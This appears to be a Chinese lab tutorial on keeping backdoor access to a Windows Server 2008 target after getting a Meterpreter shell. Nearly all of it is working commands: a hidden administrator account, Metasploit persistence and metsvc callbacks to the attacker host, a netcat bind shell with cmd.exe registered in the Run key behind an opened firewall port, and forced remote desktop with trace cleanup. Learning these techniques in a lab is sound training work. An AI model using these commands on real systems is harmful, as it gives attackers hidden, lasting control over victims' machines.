攻击主机: Kali 192.168.11.106
靶机:windows server 2008 r2
192.168.11.134
零、为何要创建后门
当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统。如果目标用户破坏了该连接,例如
重新启动计算机,此时使用后门将允许自动重新与目标系统建立连
接,
不必每次都需要进行攻击取得 meterpreter
。
为了后续渗透方便,所以需要创建一个后门。这样,即使连接被中断,也不会影响工作。下面将介绍创建持久后门的几种方式。
前提:
获得 meterpreter shell
创建后门的几种方式:
-
靶机创建隐藏用户,后期可直接使用隐藏用户登录目标主机;
-
通过persistence脚本安装后门;
-
通过metsvc服务的方式;
-
持久化后门netcat
-
通过开启远程桌面
一、靶机创建隐藏用户
1、进入靶机
meterpreter > shell
2.创建用户
(
注意这里用户使用了$符号,可以起到隐藏创建用户的目的
)
C:\Windows\system32>
net user hacker$ Hacker_123 /add
3、将创建的用户添加到管理员组
C:\Windows\system32>
net localgroup administrators hacker$ /add
net user查看不到hacker$用户,但在靶机上还是能看到你创建的这个隐藏用户:
可以使用hacker$/Hacker_123这个用户登录到靶机。
二、通过persistence脚本安装后门
路径:
metasploit/scripts/meterpreter/persistence.rb
,用于创建通过启动项启动。会创建注册表,创建文件,
很容易被杀软拦截
。
帮助文档:
1、执行 run persistence
-S -U -X
-i
5
-p
8888
-r
192.168.11.106
#
这样靶机在系统登陆,用户登陆,开机,使用中每隔5秒都
会自动连接攻击机
192.168.11.106
的
8888
端口,缺点是容易被杀毒软件查杀
2、执行结束后,会在靶机
的C:/windows/Temp/下建立一个vbs文件(
持久脚本
),该脚本会
自动在靶机上运行,同时
添加注册表键值
,如下
:
3、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter,
必须先
将靶机重启
kail攻击机器输入如下指令:
>
use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 192.168.11.106
> set LPORT 8888
#
端口要和上面的persistence后门端口一致
> run
运行后,可以成功获得meterpreter shell:
三、通过metsvc服务的方式
路径:
metasploit/scripts/meterpreter/metsvc.rb
,用于创建服务启动。会创建名为meterpreter的服务
,并
在C:\Users***\AppData\Local\Temp\上传三个文件
(metsrv.x86.dll、metsvc-server.exe、metsvc.exe)
,
很容易被杀软拦截,且安装服务需要管理员权限
。
1、运行
run metsvc将会在靶机上以Meterpreter服务的形式注册到服务列表中,并开机自动启动。
运行
run metsvc -r卸载靶机上的Meterpreter服务。
查看服务已启动:
查看进程:
端口也是启动的状态:
这些说明靶机上已经开始监听31337端口了。
2、我们下次可直接在kail攻击机器上使用下面的漏洞利用模块和攻击载荷攻击,获取靶机的meterpreter,
必须先
将靶机重启
kail攻击机器输入如下指令:
>
use exploit/multi/handler
>
set payload windows/metsvc_bind_tcp
#
指定的木马模块
>
set RHOST 192.168.11.134
# 靶机IP
> set LPORT 31337
# 靶机上监听的端口值31337
> run
这里一直会话每次刚创建成功就会断开,
推测是
run metsvc
被舍弃了,建议使用
exploit/windows/local/persistence。
使用
exploit/windows/local/persistence:
必须先重启靶机,然后再kail攻击机器输入如下指令:
>
use exploit/multi/handler
>
set payload
windows/meterpreter/reverse_tcp
>
set LHOST 192.168.11.106 # 设置kail攻击机IP
> set LPORT 4444
# 跟
exploit/windows/local/persistence设置的LPORT相同
> run
运行后,可以成功获得meterpreter shell:
四、持久化后门netcat
nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项。
ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)
nc的监听模式在kali下会出现问题,监听的端口会发生变化,因此推荐同学们在kali下使用ncat。
1.1、
上传nc.exe至目标主机
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
#
C:\\windows\\system32下的文件都有system权限(最高权限)
验证是否上传成功
ls C:\\windows\\system32 | grep nc.exe
execute -f C:\\windows\\system32\\nc.exe -h
1.2、注册表自启动程序设置
枚举查看注册表启动项
:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
靶机上注册表该项的确没有任何值:
将nc.exe设置到注册表启动项中
:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -ldp 4455 -e cmd.exe'
-
-L 选项或-l选项是将nc设置为监听模式;
-
-p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙);
-
-e 选项可以绑定到cmd.exe这个shell程序。
查看以确定nc已经被设置到注册表启动项中:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
1.3、设置防火墙模式
打开cmd:
execute -f cmd -i
当前防火墙操作模式
:netsh firewall show opmode
将nc开放的端口4455加入到目标系统防火墙规则中,入站
:
netsh advfirewall firewall
add rule name=ncport4455
dir=in protocol = tcp action=allow localport=4455
查看目标系统防火墙端口开放状态:
netsh firewall show portopening
1.4、nc连接靶机
在kail攻击机上:
nc -v 192.168.11.134 4455
靶机重启后,页面弹出:
此时在kail攻击机上:
nc -v 192.168.11.134 4455,ok
五、通过开启远程桌面
# 强制开启目标主机远程桌面并自动添加用户名为metasploit密码为
Meterpreter_123
的用户
run getgui -u metasploit -p Meterpreter_123
# 上面命令会生成清理痕迹的ruby的脚本文件,位置在/root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
# 当操作完目标用户后可以使用此脚本清理痕迹、关闭远程桌面服务和删除创建的用户
run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20221207.0010.rc
模块已舍弃,建议使用模块
run post/windows/manage/enable_rdp
靶机上查看用户:
在kail攻击机器上远程登录靶机:
rdesktop -u metasploit -p Meterpreter_123 192.168.11.134:3389
六、参考
4-26 后渗透测试实验 - netcat持久化控制_哔哩哔哩_bilibili
4-27 后渗透测试实验 - 内网主机远程桌面连接_哔哩哔哩_bilibili
5-1 Metsvc建立Backdoor持久化控制_ev_哔哩哔哩_bilibili
5-2 Pesistence建立Backdoor持久化控制_ev_哔哩哔哩_bilibili